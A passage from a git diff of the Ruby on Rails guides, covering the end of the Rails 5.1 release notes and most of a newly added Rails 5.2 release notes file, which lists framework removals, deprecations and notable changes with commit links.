+transactions. + +When a test spawns additional threads, and those threads obtain database +connections, those connections are now handled specially: + +The threads will share a single connection, which is inside the managed +transaction. This ensures all threads see the database in the same +state, ignoring the outermost transaction. Previously, such additional +connections were unable to see the fixture rows, for example. + +When a thread enters a nested transaction, it will temporarily obtain +exclusive use of the connection, to maintain isolation. + +If your tests currently rely on obtaining a separate, +outside-of-transaction, connection in a spawned thread, you'll need to +switch to more explicit connection management. + +If your tests spawn threads and those threads interact while also using +explicit database transactions, this change may introduce a deadlock. + +The easy way to opt out of this new behavior is to disable transactional +tests on any test cases it affects. + +Railties +-------- + +Please refer to the [Changelog][railties] for detailed changes. + +### Removals + +* Remove deprecated `config.static_cache_control`. + ([commit](https://github.com/rails/rails/commit/c861decd44198f8d7d774ee6a74194d1ac1a5a13)) + +* Remove deprecated `config.serve_static_files`. + ([commit](https://github.com/rails/rails/commit/0129ca2eeb6d5b2ea8c6e6be38eeb770fe45f1fa)) + +* Remove deprecated file `rails/rack/debugger`. + ([commit](https://github.com/rails/rails/commit/7563bf7b46e6f04e160d664e284a33052f9804b8)) + +* Remove deprecated tasks: `rails:update`, `rails:template`, `rails:template:copy`, + `rails:update:configs` and `rails:update:bin`. + ([commit](https://github.com/rails/rails/commit/f7782812f7e727178e4a743aa2874c078b722eef)) + +* Remove deprecated `CONTROLLER` environment variable for `routes` task. + ([commit](https://github.com/rails/rails/commit/f9ed83321ac1d1902578a0aacdfe55d3db754219)) + +* Remove -j (--javascript) option from `rails new` command. + ([Pull Request](https://github.com/rails/rails/pull/28546)) + +### Notable changes + +* Added a shared section to `config/secrets.yml` that will be loaded for all + environments. + ([commit](https://github.com/rails/rails/commit/e530534265d2c32b5c5f772e81cb9002dcf5e9cf)) + +* The config file `config/secrets.yml` is now loaded in with all keys as symbols. + ([Pull Request](https://github.com/rails/rails/pull/26929)) + +* Removed jquery-rails from default stack. rails-ujs, which is shipped + with Action View, is included as default UJS adapter. + ([Pull Request](https://github.com/rails/rails/pull/27113)) + +* Add Yarn support in new apps with a yarn binstub and package.json. + ([Pull Request](https://github.com/rails/rails/pull/26836)) + +* Add Webpack support in new apps via the `--webpack` option, which will delegate + to the rails/webpacker gem. + ([Pull Request](https://github.com/rails/rails/pull/27288)) + +* Initialize Git repo when generating new app, if option `--skip-git` is not + provided. + ([Pull Request](https://github.com/rails/rails/pull/27632)) + +* Add encrypted secrets in `config/secrets.yml.enc`. + ([Pull Request](https://github.com/rails/rails/pull/28038)) + +* Display railtie class name in `rails initializers`. + ([Pull Request](https://github.com/rails/rails/pull/25257)) + +Action Cable +----------- + +Please refer to the [Changelog][action-cable] for detailed changes. + +### Notable changes + +* Added support for `channel_prefix` to Redis and evented Redis adapters + in `cable.yml` to avoid name collisions when using the same Redis server + with multiple applications. + ([Pull Request](https://github.com/rails/rails/pull/27425)) + +* Add `ActiveSupport::Notifications` hook for broadcasting data. + ([Pull Request](https://github.com/rails/rails/pull/24988)) + +Action Pack +----------- + +Please refer to the [Changelog][action-pack] for detailed changes. + +### Removals + +* Removed support for non-keyword arguments in `#process`, `#get`, `#post`, + `#patch`, `#put`, `#delete`, and `#head` for the `ActionDispatch::IntegrationTest` + and `ActionController::TestCase` classes. + ([Commit](https://github.com/rails/rails/commit/98b8309569a326910a723f521911e54994b112fb), + [Commit](https://github.com/rails/rails/commit/de9542acd56f60d281465a59eac11e15ca8b3323)) + +* Removed deprecated `ActionDispatch::Callbacks.to_prepare` and + `ActionDispatch::Callbacks.to_cleanup`. + ([Commit](https://github.com/rails/rails/commit/3f2b7d60a52ffb2ad2d4fcf889c06b631db1946b)) + +* Removed deprecated methods related to controller filters. + ([Commit](https://github.com/rails/rails/commit/d7be30e8babf5e37a891522869e7b0191b79b757)) + +* Removed deprecated support to `:text` and `:nothing` in `render`. + ([Commit](https://github.com/rails/rails/commit/79a5ea9eadb4d43b62afacedc0706cbe88c54496), + [Commit](https://github.com/rails/rails/commit/57e1c99a280bdc1b324936a690350320a1cd8111)) + +* Removed deprecated support for calling `HashWithIndifferentAccess` methods on `ActionController::Parameters`. + ([Commit](https://github.com/rails/rails/pull/26746/commits/7093ceb480ad6a0a91b511832dad4c6a86981b93)) + +### Deprecations + +* Deprecated `config.action_controller.raise_on_unfiltered_parameters`. + It doesn't have any effect in Rails 5.1. + ([Commit](https://github.com/rails/rails/commit/c6640fb62b10db26004a998d2ece98baede509e5)) + +### Notable changes + +* Added the `direct` and `resolve` methods to the routing DSL. + ([Pull Request](https://github.com/rails/rails/pull/23138)) + +* Added a new `ActionDispatch::SystemTestCase` class to write system tests in + your applications. + ([Pull Request](https://github.com/rails/rails/pull/26703)) + +Action View +------------- + +Please refer to the [Changelog][action-view] for detailed changes. + +### Removals + +* Removed deprecated `#original_exception` in `ActionView::Template::Error`. + ([commit](https://github.com/rails/rails/commit/b9ba263e5aaa151808df058f5babfed016a1879f)) + +* Remove the option `encode_special_chars` misnomer from `strip_tags`. + ([Pull Request](https://github.com/rails/rails/pull/28061)) + +### Deprecations + +* Deprecated Erubis ERB handler in favor of Erubi. + ([Pull Request](https://github.com/rails/rails/pull/27757)) + +### Notable changes + +* Raw template handler (the default template handler in Rails 5) now outputs + HTML-safe strings. + ([commit](https://github.com/rails/rails/commit/1de0df86695f8fa2eeae6b8b46f9b53decfa6ec8)) + +* Change `datetime_field` and `datetime_field_tag` to generate `datetime-local` + fields. + ([Pull Request](https://github.com/rails/rails/pull/25469)) + +* New Builder-style syntax for HTML tags (`tag.div`, `tag.br`, etc.) + ([Pull Request](https://github.com/rails/rails/pull/25543)) + +* Add `form_with` to unify `form_tag` and `form_for` usage. + ([Pull Request](https://github.com/rails/rails/pull/26976)) + +* Add `check_parameters` option to `current_page?`. + ([Pull Request](https://github.com/rails/rails/pull/27549)) + +Action Mailer +------------- + +Please refer to the [Changelog][action-mailer] for detailed changes. + +### Notable changes + +* Allowed setting custom content type when attachments are included + and body is set inline. + ([Pull Request](https://github.com/rails/rails/pull/27227)) + +* Allowed passing lambdas as values to the `default` method. + ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf)) + +* Added support for parameterized invocation of mailers to share before filters and defaults + between different mailer actions. + ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf)) + +* Passed the incoming arguments to the mailer action to `process.action_mailer` event under + an `args` key. + ([Pull Request](https://github.com/rails/rails/pull/27900)) + +Active Record +------------- + +Please refer to the [Changelog][active-record] for detailed changes. + +### Removals + +* Removed support for passing arguments and block at the same time to + `ActiveRecord::QueryMethods#select`. + ([Commit](https://github.com/rails/rails/commit/4fc3366d9d99a0eb19e45ad2bf38534efbf8c8ce)) + +* Removed deprecated `activerecord.errors.messages.restrict_dependent_destroy.one` and + `activerecord.errors.messages.restrict_dependent_destroy.many` i18n scopes. + ([Commit](https://github.com/rails/rails/commit/00e3973a311)) + +* Removed deprecated force reload argument in singular and collection association readers. + ([Commit](https://github.com/rails/rails/commit/09cac8c67af)) + +* Removed deprecated support for passing a column to `#quote`. + ([Commit](https://github.com/rails/rails/commit/e646bad5b7c)) + +* Removed deprecated `name` arguments from `#tables`. + ([Commit](https://github.com/rails/rails/commit/d5be101dd02214468a27b6839ffe338cfe8ef5f3)) + +* Removed deprecated behavior of `#tables` and `#table_exists?` to return tables and views + to return only tables and not views. + ([Commit](https://github.com/rails/rails/commit/5973a984c369a63720c2ac18b71012b8347479a8)) + +* Removed deprecated `original_exception` argument in `ActiveRecord::StatementInvalid#initialize` + and `ActiveRecord::StatementInvalid#original_exception`. + ([Commit](https://github.com/rails/rails/commit/bc6c5df4699d3f6b4a61dd12328f9e0f1bd6cf46)) + +* Removed deprecated support of passing a class as a value in a query. + ([Commit](https://github.com/rails/rails/commit/b4664864c972463c7437ad983832d2582186e886)) + +* Removed deprecated support to query using commas on LIMIT. + ([Commit](https://github.com/rails/rails/commit/fc3e67964753fb5166ccbd2030d7382e1976f393)) + +* Removed deprecated `conditions` parameter from `#destroy_all`. + ([Commit](https://github.com/rails/rails/commit/d31a6d1384cd740c8518d0bf695b550d2a3a4e9b)) + +* Removed deprecated `conditions` parameter from `#delete_all`. + ([Commit](https://github.com/rails/rails/pull/27503/commits/e7381d289e4f8751dcec9553dcb4d32153bd922b)) + +* Removed deprecated method `#load_schema_for` in favor of `#load_schema`. + ([Commit](https://github.com/rails/rails/commit/419e06b56c3b0229f0c72d3e4cdf59d34d8e5545)) + +* Removed deprecated `#raise_in_transactional_callbacks` configuration. + ([Commit](https://github.com/rails/rails/commit/8029f779b8a1dd9848fee0b7967c2e0849bf6e07)) + +* Removed deprecated `#use_transactional_fixtures` configuration. + ([Commit](https://github.com/rails/rails/commit/3955218dc163f61c932ee80af525e7cd440514b3)) + +### Deprecations + +* Deprecated `error_on_ignored_order_or_limit` flag in favor of + `error_on_ignored_order`. + ([Commit](https://github.com/rails/rails/commit/451437c6f57e66cc7586ec966e530493927098c7)) + +* Deprecated `sanitize_conditions` in favor of `sanitize_sql`. + ([Pull Request](https://github.com/rails/rails/pull/25999)) + +* Deprecated `supports_migrations?` on connection adapters. + ([Pull Request](https://github.com/rails/rails/pull/28172)) + +* Deprecated `Migrator.schema_migrations_table_name`, use `SchemaMigration.table_name` instead. + ([Pull Request](https://github.com/rails/rails/pull/28351)) + +* Deprecated using `#quoted_id` in quoting and type casting. + ([Pull Request](https://github.com/rails/rails/pull/27962)) + +* Deprecated passing `default` argument to `#index_name_exists?`. + ([Pull Request](https://github.com/rails/rails/pull/26930)) + +### Notable changes + +* Change Default Primary Keys to BIGINT. + ([Pull Request](https://github.com/rails/rails/pull/26266)) + +* Virtual/generated column support for MySQL 5.7.5+ and MariaDB 5.2.0+. + ([Commit](https://github.com/rails/rails/commit/65bf1c60053e727835e06392d27a2fb49665484c)) + +* Added support for limits in batch processing. + ([Commit](https://github.com/rails/rails/commit/451437c6f57e66cc7586ec966e530493927098c7)) + +* Transactional tests now wrap all Active Record connections in database + transactions. + ([Pull Request](https://github.com/rails/rails/pull/28726)) + +* Skipped comments in the output of `mysqldump` command by default. + ([Pull Request](https://github.com/rails/rails/pull/23301)) + +* Fixed `ActiveRecord::Relation#count` to use Ruby's `Enumerable#count` for counting + records when a block is passed as argument instead of silently ignoring the + passed block. + ([Pull Request](https://github.com/rails/rails/pull/24203)) + +* Pass `"-v ON_ERROR_STOP=1"` flag with `psql` command to not suppress SQL errors. + ([Pull Request](https://github.com/rails/rails/pull/24773)) + +* Add `ActiveRecord::Base.connection_pool.stat`. + ([Pull Request](https://github.com/rails/rails/pull/26988)) + +* Inheriting directly from `ActiveRecord::Migration` raises an error. + Specify the Rails version for which the migration was written for. + ([Commit](https://github.com/rails/rails/commit/249f71a22ab21c03915da5606a063d321f04d4d3)) + +* An error is raised when `through` association has ambiguous reflection name. + ([Commit](https://github.com/rails/rails/commit/0944182ad7ed70d99b078b22426cbf844edd3f61)) + +Active Model +------------ + +Please refer to the [Changelog][active-model] for detailed changes. + +### Removals + +* Removed deprecated methods in `ActiveModel::Errors`. + ([commit](https://github.com/rails/rails/commit/9de6457ab0767ebab7f2c8bc583420fda072e2bd)) + +* Removed deprecated `:tokenizer` option in the length validator. + ([commit](https://github.com/rails/rails/commit/6a78e0ecd6122a6b1be9a95e6c4e21e10e429513)) + +* Remove deprecated behavior that halts callbacks when the return value is false. + ([commit](https://github.com/rails/rails/commit/3a25cdca3e0d29ee2040931d0cb6c275d612dffe)) + +### Notable changes + +* The original string assigned to a model attribute is no longer incorrectly + frozen. + ([Pull Request](https://github.com/rails/rails/pull/28729)) + +Active Job +----------- + +Please refer to the [Changelog][active-job] for detailed changes. + +### Removals + +* Removed deprecated support to passing the adapter class to `.queue_adapter`. + ([commit](https://github.com/rails/rails/commit/d1fc0a5eb286600abf8505516897b96c2f1ef3f6)) + +* Removed deprecated `#original_exception` in `ActiveJob::DeserializationError`. + ([commit](https://github.com/rails/rails/commit/d861a1fcf8401a173876489d8cee1ede1cecde3b)) + +### Notable changes + +* Added declarative exception handling via `ActiveJob::Base.retry_on` and `ActiveJob::Base.discard_on`. + ([Pull Request](https://github.com/rails/rails/pull/25991)) + +* Yield the job instance so you have access to things like `job.arguments` on + the custom logic after retries fail. + ([commit](https://github.com/rails/rails/commit/a1e4c197cb12fef66530a2edfaeda75566088d1f)) + +Active Support +-------------- + +Please refer to the [Changelog][active-support] for detailed changes. + +### Removals + +* Removed the `ActiveSupport::Concurrency::Latch` class. + ([Commit](https://github.com/rails/rails/commit/0d7bd2031b4054fbdeab0a00dd58b1b08fb7fea6)) + +* Removed `halt_callback_chains_on_return_false`. + ([Commit](https://github.com/rails/rails/commit/4e63ce53fc25c3bc15c5ebf54bab54fa847ee02a)) + +* Removed deprecated behavior that halts callbacks when the return is false. + ([Commit](https://github.com/rails/rails/commit/3a25cdca3e0d29ee2040931d0cb6c275d612dffe)) + +### Deprecations + +* The top level `HashWithIndifferentAccess` class has been softly deprecated + in favor of the `ActiveSupport::HashWithIndifferentAccess` one. + ([Pull Request](https://github.com/rails/rails/pull/28157)) + +* Deprecated passing string to `:if` and `:unless` conditional options on `set_callback` and `skip_callback`. + ([Commit](https://github.com/rails/rails/commit/0952552)) + +### Notable changes + +* Fixed duration parsing and traveling to make it consistent across DST changes. + ([Commit](https://github.com/rails/rails/commit/8931916f4a1c1d8e70c06063ba63928c5c7eab1e), + [Pull Request](https://github.com/rails/rails/pull/26597)) + +* Updated Unicode to version 9.0.0. + ([Pull Request](https://github.com/rails/rails/pull/27822)) + +* Add Duration#before and #after as aliases for #ago and #since. + ([Pull Request](https://github.com/rails/rails/pull/27721)) + +* Added `Module#delegate_missing_to` to delegate method calls not + defined for the current object to a proxy object. + ([Pull Request](https://github.com/rails/rails/pull/23930)) + +* Added `Date#all_day` which returns a range representing the whole day + of the current date & time. + ([Pull Request](https://github.com/rails/rails/pull/24930)) + +* Introduced the `assert_changes` and `assert_no_changes` methods for tests. + ([Pull Request](https://github.com/rails/rails/pull/25393)) + +* The `travel` and `travel_to` methods now raise on nested calls. + ([Pull Request](https://github.com/rails/rails/pull/24890)) + +* Update `DateTime#change` to support usec and nsec. + ([Pull Request](https://github.com/rails/rails/pull/28242)) + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. + +[railties]: https://github.com/rails/rails/blob/5-1-stable/railties/CHANGELOG.md +[action-pack]: https://github.com/rails/rails/blob/5-1-stable/actionpack/CHANGELOG.md +[action-view]: https://github.com/rails/rails/blob/5-1-stable/actionview/CHANGELOG.md +[action-mailer]: https://github.com/rails/rails/blob/5-1-stable/actionmailer/CHANGELOG.md +[action-cable]: https://github.com/rails/rails/blob/5-1-stable/actioncable/CHANGELOG.md +[active-record]: https://github.com/rails/rails/blob/5-1-stable/activerecord/CHANGELOG.md +[active-model]: https://github.com/rails/rails/blob/5-1-stable/activemodel/CHANGELOG.md +[active-support]: https://github.com/rails/rails/blob/5-1-stable/activesupport/CHANGELOG.md +[active-job]: https://github.com/rails/rails/blob/5-1-stable/activejob/CHANGELOG.md diff --git a/guides/source/5_2_release_notes.md b/guides/source/5_2_release_notes.md new file mode 100644 index 0000000000..c5b914fffc --- /dev/null +++ b/guides/source/5_2_release_notes.md @@ -0,0 +1,861 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 5.2 Release Notes +=============================== + +Highlights in Rails 5.2: + +* Active Storage +* Redis Cache Store +* HTTP/2 Early Hints +* Credentials +* Content Security Policy + +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/5-2-stable) in the main Rails +repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 5.2 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 5.1 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 5.2. A list of things to watch out for when upgrading is +available in the +[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-1-to-rails-5-2) +guide. + +Major Features +-------------- + +### Active Storage + +[Pull Request](https://github.com/rails/rails/pull/30020) + +[Active Storage](https://github.com/rails/rails/tree/5-2-stable/activestorage) +facilitates uploading files to a cloud storage service like +Amazon S3, Google Cloud Storage, or Microsoft Azure Storage and attaching +those files to Active Record objects. It comes with a local disk-based service +for development and testing and supports mirroring files to subordinate +services for backups and migrations. +You can read more about Active Storage in the +[Active Storage Overview](active_storage_overview.html) guide. + +### Redis Cache Store + +[Pull Request](https://github.com/rails/rails/pull/31134) + +Rails 5.2 ships with built-in Redis cache store. +You can read more about this in the +[Caching with Rails: An Overview](caching_with_rails.html#activesupport-cache-rediscachestore) +guide. + +### HTTP/2 Early Hints + +[Pull Request](https://github.com/rails/rails/pull/30744) + +Rails 5.2 supports [HTTP/2 Early Hints](https://tools.ietf.org/html/rfc8297). +To start the server with Early Hints enabled pass `--early-hints` +to `bin/rails server`. + +### Credentials + +[Pull Request](https://github.com/rails/rails/pull/30067) + +Added `config/credentials.yml.enc` file to store production app secrets. +It allows saving any authentication credentials for third-party services +directly in repository encrypted with a key in the `config/master.key` file or +the `RAILS_MASTER_KEY` environment variable. +This will eventually replace `Rails.application.secrets` and the encrypted +secrets introduced in Rails 5.1. +Furthermore, Rails 5.2 +[opens API underlying Credentials](https://github.com/rails/rails/pull/30940), +so you can easily deal with other encrypted configurations, keys, and files. +You can read more about this in the +[Securing Rails Applications](security.html#custom-credentials) +guide. + +### Content Security Policy + +[Pull Request](https://github.com/rails/rails/pull/31162) + +Rails 5.2 ships with a new DSL that allows you to configure a +[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) +for your application. You can configure a global default policy and then +override it on a per-resource basis and even use lambdas to inject per-request +values into the header such as account subdomains in a multi-tenant application. +You can read more about this in the +[Securing Rails Applications](security.html#content-security-policy) +guide. + +Railties +-------- + +Please refer to the [Changelog][railties] for detailed changes. + +### Deprecations + +* Deprecate `capify!` method in generators and templates. + ([Pull Request](https://github.com/rails/rails/pull/29493)) + +* Passing the environment's name as a regular argument to the + `rails dbconsole` and `rails console` commands is deprecated. + The `-e` option should be used instead. + ([Commit](https://github.com/rails/rails/commit/48b249927375465a7102acc71c2dfb8d49af8309)) + +* Deprecate using subclass of `Rails::Application` to start the Rails server. + ([Pull Request](https://github.com/rails/rails/pull/30127)) + +* Deprecate `after_bundle` callback in Rails plugin templates. + ([Pull Request](https://github.com/rails/rails/pull/29446)) + +### Notable changes + +* Added a shared section to `config/database.yml` that will be loaded for + all environments. + ([Pull Request](https://github.com/rails/rails/pull/28896)) + +* Add `railtie.rb` to the plugin generator. + ([Pull Request](https://github.com/rails/rails/pull/29576)) + +* Clear screenshot files in `tmp:clear` task. + ([Pull Request](https://github.com/rails/rails/pull/29534)) + +* Skip unused components when running `bin/rails app:update`. + If the initial app generation skipped Action Cable, Active Record etc., + the update task honors those skips too. + ([Pull Request](https://github.com/rails/rails/pull/29645)) + +* Allow passing a custom connection name to the `rails dbconsole` + command when using a 3-level database configuration. + Example: `bin/rails dbconsole -c replica`. + ([Commit](https://github.com/rails/rails/commit/1acd9a6464668d4d54ab30d016829f60b70dbbeb)) + +* Properly expand shortcuts for environment's name running the `console` + and `dbconsole` commands. + ([Commit](https://github.com/rails/rails/commit/3777701f1380f3814bd5313b225586dec64d4104)) + +* Add `bootsnap` to default `Gemfile`. + ([Pull Request](https://github.com/rails/rails/pull/29313)) + +* Support `-` as a platform-agnostic way to run a script from stdin with + `rails runner` + ([Pull Request](https://github.com/rails/rails/pull/26343)) + +* Add `ruby x.x.x` version to `Gemfile` and create `.ruby-version` + root file containing the current Ruby version when new Rails applications + are created. + ([Pull Request](https://github.com/rails/rails/pull/30016)) + +* Add `--skip-action-cable` option to the plugin generator. + ([Pull Request](https://github.com/rails/rails/pull/30164)) + +* Add `git_source` to `Gemfile` for plugin generator. + ([Pull Request](https://github.com/rails/rails/pull/30110)) + +* Skip unused components when running `bin/rails` in Rails plugin. + ([Commit](https://github.com/rails/rails/commit/62499cb6e088c3bc32a9396322c7473a17a28640)) + +* Optimize indentation for generator actions. + ([Pull Request](https://github.com/rails/rails/pull/30166)) + +* Optimize routes indentation. + ([Pull Request](https://github.com/rails/rails/pull/30241)) + +* Add `--skip-yarn` option to the plugin generator. + ([Pull Request](https://github.com/rails/rails/pull/30238)) + +* Support multiple versions arguments for `gem` method of Generators. + ([Pull Request](https://github.com/rails/rails/pull/30323)) + +* Derive `secret_key_base` from the app name in development and test + environments. + ([Pull Request](https://github.com/rails/rails/pull/30067)) + +* Add `mini_magick` to default `Gemfile` as comment. + ([Pull Request](https://github.com/rails/rails/pull/30633)) + +* `rails new` and `rails plugin new` get `Active Storage` by default. + Add ability to skip `Active Storage` with `--skip-active-storage` + and do so automatically when `--skip-active-record` is used. + ([Pull Request](https://github.com/rails/rails/pull/30101)) + +Action Cable +------------ + +Please refer to the [Changelog][action-cable] for detailed changes. + +### Removals + +* Removed deprecated evented redis adapter. + ([Commit](https://github.com/rails/rails/commit/48766e32d31651606b9f68a16015ad05c3b0de2c)) + +### Notable changes + +* Add support for `host`, `port`, `db` and `password` options in cable.yml + ([Pull Request](https://github.com/rails/rails/pull/29528)) + +* Hash long stream identifiers when using PostgreSQL adapter. + ([Pull Request](https://github.com/rails/rails/pull/29297)) + +Action Pack +----------- + +Please refer to the [Changelog][action-pack] for detailed changes. + +### Removals + +* Remove deprecated `ActionController::ParamsParser::ParseError`. + ([Commit](https://github.com/rails/rails/commit/e16c765ac6dcff068ff2e5554d69ff345c003de1)) + +### Deprecations + +* Deprecate `#success?`, `#missing?` and `#error?` aliases of + `ActionDispatch::TestResponse`. + ([Pull Request](https://github.com/rails/rails/pull/30104)) + +### Notable changes + +* Add support for recyclable cache keys with fragment caching. + ([Pull Request](https://github.com/rails/rails/pull/29092)) + +* Change the cache key format for fragments to make it easier to debug key + churn. + ([Pull Request](https://github.com/rails/rails/pull/29092)) + +* AEAD encrypted cookies and sessions with GCM. + ([Pull Request](https://github.com/rails/rails/pull/28132)) + +* Protect from forgery by default. + ([Pull Request](https://github.com/rails/rails/pull/29742)) + +* Enforce signed/encrypted cookie expiry server side. + ([Pull Request](https://github.com/rails/rails/pull/30121)) + +* Cookies `:expires` option supports `ActiveSupport::Duration` object. + ([Pull Request](https://github.com/rails/rails/pull/30121)) + +* Use Capybara registered `:puma` server config. + ([Pull Request](https://github.com/rails/rails/pull/30638)) + +* Simplify cookies middleware with key rotation support. + ([Pull Request](https://github.com/rails/rails/pull/29716)) + +* Add ability to enable Early Hints for HTTP/2. + ([Pull Request](https://github.com/rails/rails/pull/30744)) + +* Add headless chrome support to System Tests. + ([Pull Request](https://github.com/rails/rails/pull/30876)) + +* Add `:allow_other_host` option to `redirect_back` method. + ([Pull Request](https://github.com/rails/rails/pull/30850)) + +* Make `assert_recognizes` to traverse mounted engines. + ([Pull Request](https://github.com/rails/rails/pull/22435)) + +* Add DSL for configuring Content-Security-Policy header. + ([Pull Request](https://github.com/rails/rails/pull/31162), + [Commit](https://github.com/rails/rails/commit/619b1b6353a65e1635d10b8f8c6630723a5a6f1a), + [Commit](https://github.com/rails/rails/commit/4ec8bf68ff92f35e79232fbd605012ce1f4e1e6e)) + +* Register most popular audio/video/font mime types supported by modern + browsers. + ([Pull Request](https://github.com/rails/rails/pull/31251)) + +* Changed the default system test screenshot output from `inline` to `simple`. + ([Commit](https://github.com/rails/rails/commit/9d6e288ee96d6241f864dbf90211c37b14a57632)) + +* Add headless firefox support to System Tests. + ([Pull Request](https://github.com/rails/rails/pull/31365)) + +* Add secure `X-Download-Options` and `X-Permitted-Cross-Domain-Policies` to + default headers set. + ([Commit](https://github.com/rails/rails/commit/5d7b70f4336d42eabfc403e9f6efceb88b3eff44)) + +* Changed the system tests to set Puma as default server only when the + user haven't specified manually another server. + ([Pull Request](https://github.com/rails/rails/pull/31384)) + +* Add `Referrer-Policy` header to default headers set. + ([Commit](https://github.com/rails/rails/commit/428939be9f954d39b0c41bc53d85d0d106b9d1a1)) + +* Matches behavior of `Hash#each` in `ActionController::Parameters#each`. + ([Pull Request](https://github.com/rails/rails/pull/27790)) + +* Add support for automatic nonce generation for Rails UJS. + ([Commit](https://github.com/rails/rails/commit/b2f0a8945956cd92dec71ec4e44715d764990a49)) + +* Update the default HSTS max-age value to 31536000 seconds (1 year) + to meet the minimum max-age requirement for https://hstspreload.org/. + ([Commit](https://github.com/rails/rails/commit/30b5f469a1d30c60d1fb0605e84c50568ff7ed37)) + +* Add alias method `to_hash` to `to_h` for `cookies`. + Add alias method `to_h` to `to_hash` for `session`. + ([Commit](https://github.com/rails/rails/commit/50a62499e41dfffc2903d468e8b47acebaf9b500)) + +Action View +----------- + +Please refer to the [Changelog][action-view] for detailed changes. + +### Removals + +* Remove deprecated Erubis ERB handler. + ([Commit](https://github.com/rails/rails/commit/7de7f12fd140a60134defe7dc55b5a20b2372d06)) + +### Deprecations + +* Deprecate `image_alt` helper which used to add default alt text to + the images generated by `image_tag`. + ([Pull Request](https://github.com/rails/rails/pull/30213)) + +### Notable changes + +* Add `:json` type to `auto_discovery_link_tag` to support + [JSON Feeds](https://jsonfeed.org/version/1). + ([Pull Request](https://github.com/rails/rails/pull/29158)) + +* Add `srcset` option to `image_tag` helper. + ([Pull Request](https://github.com/rails/rails/pull/29349)) + +* Fix issues with `field_error_proc` wrapping `optgroup` and + select divider `option`. + ([Pull Request](https://github.com/rails/rails/pull/31088)) + +* Change `form_with` to generates ids by default. + ([Commit](https://github.com/rails/rails/commit/260d6f112a0ffdbe03e6f5051504cb441c1e94cd)) + +* Add `preload_link_tag` helper. + ([Pull Request](https://github.com/rails/rails/pull/31251)) + +* Allow the use of callable objects as group methods for grouped selects. + ([Pull Request](https://github.com/rails/rails/pull/31578)) + +Action Mailer +------------- + +Please refer to the [Changelog][action-mailer] for detailed changes. + +### Notable changes + +* Allow Action Mailer classes to configure their delivery job. + ([Pull Request](https://github.com/rails/rails/pull/29457)) + +* Add `assert_enqueued_email_with` test helper. + ([Pull Request](https://github.com/rails/rails/pull/30695)) + +Active Record +------------- + +Please refer to the [Changelog][active-record] for detailed changes. + +### Removals + +* Remove deprecated `#migration_keys`. + ([Pull Request](https://github.com/rails/rails/pull/30337)) + +* Remove deprecated support to `quoted_id` when typecasting + an Active Record object. + ([Commit](https://github.com/rails/rails/commit/82472b3922bda2f337a79cef961b4760d04f9689)) + +* Remove deprecated argument `default` from `index_name_exists?`. + ([Commit](https://github.com/rails/rails/commit/8f5b34df81175e30f68879479243fbce966122d7)) + +* Remove deprecated support to passing a class to `:class_name` + on associations. + ([Commit](https://github.com/rails/rails/commit/e65aff70696be52b46ebe57207ebd8bb2cfcdbb6)) + +* Remove deprecated methods `initialize_schema_migrations_table` and + `initialize_internal_metadata_table`. + ([Commit](https://github.com/rails/rails/commit/c9660b5777707658c414b430753029cd9bc39934)) + +* Remove deprecated method `supports_migrations?`. + ([Commit](https://github.com/rails/rails/commit/9438c144b1893f2a59ec0924afe4d46bd8d5ffdd)) + +* Remove deprecated method `supports_primary_key?`. + ([Commit](https://github.com/rails/rails/commit/c56ff22fc6e97df4656ddc22909d9bf8b0c2cbb1)) + +* Remove deprecated method + `ActiveRecord::Migrator.schema_migrations_table_name`. + ([Commit](https://github.com/rails/rails/commit/7df6e3f3cbdea9a0460ddbab445c81fbb1cfd012)) + +* Remove deprecated argument `name` from `#indexes`. + ([Commit](https://github.com/rails/rails/commit/d6b779ecebe57f6629352c34bfd6c442ac8fba0e)) + +* Remove deprecated arguments from `#verify!`. + ([Commit](https://github.com/rails/rails/commit/9c6ee1bed0292fc32c23dc1c68951ae64fc510be)) + +* Remove deprecated configuration `.error_on_ignored_order_or_limit`. + ([Commit](https://github.com/rails/rails/commit/e1066f450d1a99c9a0b4d786b202e2ca82a4c3b3)) + +* Remove deprecated method `#scope_chain`. + ([Commit](https://github.com/rails/rails/commit/ef7784752c5c5efbe23f62d2bbcc62d4fd8aacab)) + +* Remove deprecated method `#sanitize_conditions`. + ([Commit](https://github.com/rails/rails/commit/8f5413b896099f80ef46a97819fe47a820417bc2)) + +### Deprecations + +* Deprecate `supports_statement_cache?`. + ([Pull Request](https://github.com/rails/rails/pull/28938)) + +* Deprecate passing arguments and block at the same time to + `count` and `sum` in `ActiveRecord::Calculations`. + ([Pull Request](https://github.com/rails/rails/pull/29262)) + +* Deprecate delegating to `arel` in `Relation`. + ([Pull Request](https://github.com/rails/rails/pull/29619)) + +* Deprecate `set_state` method in `TransactionState`. + ([Commit](https://github.com/rails/rails/commit/608ebccf8f6314c945444b400a37c2d07f21b253)) + +* Deprecate `expand_hash_conditions_for_aggregates` without replacement. + ([Commit](https://github.com/rails/rails/commit/7ae26885d96daee3809d0bd50b1a440c2f5ffb69)) + +### Notable changes + +* When calling the dynamic fixture accessor method with no arguments, it now + returns all fixtures of this type. Previously this method always returned + an empty array. + ([Pull Request](https://github.com/rails/rails/pull/28692)) + +* Fix inconsistency with changed attributes when overriding + Active Record attribute reader. + ([Pull Request](https://github.com/rails/rails/pull/28661)) + +* Support Descending Indexes for MySQL. + ([Pull Request](https://github.com/rails/rails/pull/28773)) + +* Fix `bin/rails db:forward` first migration. + ([Commit](https://github.com/rails/rails/commit/b77d2aa0c336492ba33cbfade4964ba0eda3ef84)) + +* Raise error `UnknownMigrationVersionError` on the movement of migrations + when the current migration does not exist. + ([Commit](https://github.com/rails/rails/commit/bb9d6eb094f29bb94ef1f26aa44f145f17b973fe)) + +* Respect 